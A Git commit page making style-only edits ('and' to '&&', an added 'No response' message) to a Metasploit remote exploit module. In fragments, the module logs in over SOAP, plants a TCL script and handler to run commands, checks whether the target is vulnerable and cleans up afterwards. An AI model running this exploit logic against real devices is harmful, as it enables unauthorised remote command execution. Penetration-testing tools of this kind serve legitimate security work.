Initial style cleanup

bug/bundler_fix
Jon Hart 2015-11-13 10:42:26 -08:00
parent eae2d6c89d
commit 85e5b0abe9
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 11 additions and 9 deletions

View File

@ -78,16 +78,18 @@ class Metasploit3 < Msf::Exploit::Remote
'username' => datastore['USERNAME'], 'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'] 'password' => datastore['PASSWORD']
}) })
if res and res.code == 200 if res && res.code == 200
return res return res
else elsif res
if res and res.code == 401 if res.code == 401
print_error('401 Unauthorized - Check credentials') print_error('401 Unauthorized - Check credentials')
else else
print_error("#{res.code} - Unknown error") print_error("#{res.code} - Unknown error")
end end
return false else
vprint_error('No response')
end end
return false
end end
# cmd is valid tcl script # cmd is valid tcl script
@ -150,7 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
pay = xml.to_xml pay = xml.to_xml
res = send_soap_request(pay) res = send_soap_request(pay)
if res and res.code == 200 and res.body =~ /\/Common\/#{scriptname}/ if res && res.code == 200 && res.body =~ /\/Common\/#{scriptname}/
return true return true
else else
return false return false
@ -221,7 +223,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
pay = xml.to_xml pay = xml.to_xml
res = send_soap_request(pay) res = send_soap_request(pay)
if res and res.code == 200 and res.body =~ /\/Common\/#{handler_name}/ if res && res.code == 200 && res.body =~ /\/Common\/#{handler_name}/
return true return true
else else
return false return false
@ -260,9 +262,9 @@ class Metasploit3 < Msf::Exploit::Remote
'username' => datastore['USERNAME'], 'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'] 'password' => datastore['PASSWORD']
}) })
if res and res.code == 500 and res.body =~ /path is empty/ if res && res.code == 500 && res.body =~ /path is empty/
return Exploit::CheckCode::Appears return Exploit::CheckCode::Appears
elsif res and res.code == 401 elsif res && res.code == 401
print_error('401 Unauthorized') print_error('401 Unauthorized')
return Exploit::CheckCode::Unknown return Exploit::CheckCode::Unknown
else else
@ -312,7 +314,7 @@ class Metasploit3 < Msf::Exploit::Remote
sleep(interval+2) # small delay, just to make sure sleep(interval+2) # small delay, just to make sure
print_status('Trying cleanup...') print_status('Trying cleanup...')
unless delete_handler(handler) and delete_script(script) unless delete_handler(handler) && delete_script(script)
print_error('Error while cleaning up') print_error('Error while cleaning up')
else else
print_status('Cleanup finished with no errors') print_status('Cleanup finished with no errors')